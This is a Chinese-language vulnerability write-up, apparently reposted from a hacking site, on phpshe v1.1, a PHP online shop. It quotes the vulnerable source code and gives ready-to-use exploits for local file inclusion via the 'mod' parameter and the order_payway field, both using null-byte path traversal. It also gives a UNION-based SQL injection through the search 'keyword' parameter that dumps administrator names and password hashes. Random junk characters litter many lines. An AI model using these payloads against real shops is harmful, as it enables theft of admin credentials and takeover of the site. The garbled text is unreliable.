phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
+ L- _& P& B# Y/* Phpshe v1.1 Vulnerability
* R! h5 e; {' ]0 k1 e$ ~+ K/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
5 e- u* Z9 E/ u. s* j7 P! q/*******************************************************/
' v6 \, T- D9 m% j7 I- u* \0×00 整体大概参数传输

0 H7 L6 j2 ~0 q" s) [/ c

//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
9 f) L; n5 P5 O" C+ X2 [: y!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
/ n9 V- l8 a8 C5 R$ H( o}
4 ?4 f! w7 l% D1 h8 t9 l2 ]else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
/ D! I5 C7 r* G% i4 x}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
9 R$ Q# u: G- V' m; X$ S!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

* l, Q( d0 P% O; U0×01 包含漏洞
+ J7 o/ ]% u/ X* |4 ?7 N

; w$ n* G$ [( Z" m) Q1 v//首页文件
& \0 z- V1 I# A, M3 E- @) K<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
; l0 C% ^& J$ L) p* r  J//common 文件 第15行开始
url路由配置
& M' L4 L" x& u& D) G$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$ J% [1 T  W8 N' G8 X1 _+ ?# m$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

9 r/ d$ n1 q4 h  g) e8 p
0×02 搜索注入

: W5 o+ X" u% M- }3 \<code id="code2">

//product.php文件
case 'list':
$ d( _5 g7 c/ L2 i$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
5 j2 b3 k. _$ \, Xpe_lead('hook/category.hook.php');
% x$ |1 a% W! Y8 k. |if ($category_id) {
4 h9 {* o# T& t* C# D* ?where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
( w- ^1 O4 Q: T}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
6 G. f6 m* y% ~) {9 U$sqlwhere .= " order by `product_id` desc";
}
4 {; C6 }- W/ L( [$ K1 o$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
0 R' z) L7 I1 |) }9 a$product_hotlist = product_hotlist();
, N# z% y9 x0 h9 _( k//当前路径
; p; R/ \/ X: W# M( l7 V$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
! _. @  V0 Y7 ginclude(pe_tpl('product_list.html'));
" o$ t4 t. a4 t: i5 `9 n//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
$ c' B% d9 {2 r( g$ u6 @& {//处理条件语句
1 j8 U' {& B- j2 c' r# _- a% x$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
0 ~( a7 e' W/ K7 q( A" c}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

0 [6 H  |- |2 n" @. e+ B$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

, p) _4 m- f4 p$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

  N* B. o  f" }+ p( p( p' sif ($k == 'bank') {

& s4 e* v- |* x' a$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

2 v4 ]* ]9 p5 k/ g}

}

3 Z) R/ |1 g" C' L% q2 I6 `$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

% a# j$ M# o3 aif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

& M& \; d' ~: V# }1 t2 ^$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

2 b4 Y3 D6 n6 Rforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
7 U& |/ [0 @9 h

# y! V7 |; k7 V; \; W* K/ J( \}

echo '正在为您连接支付网站，请稍后...';

0 J: T/ j2 R5 ?0 ainclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

2 S; K$ i9 T, i( b}//当一切准备好的时候就可以进行"鸡肋包含了"

7 O% }6 j% T3 }5 @: m3 T1 |9 t0 d1 Jelse {

pe_error('支付错误...');

1 p; W% q- h& z% }5 `" o}

0 U/ m- w3 G& r4 b}

% y% M2 a1 ]2 s$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
( C' R  x3 z- b$ `/ l! ^4 B( e/ \http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg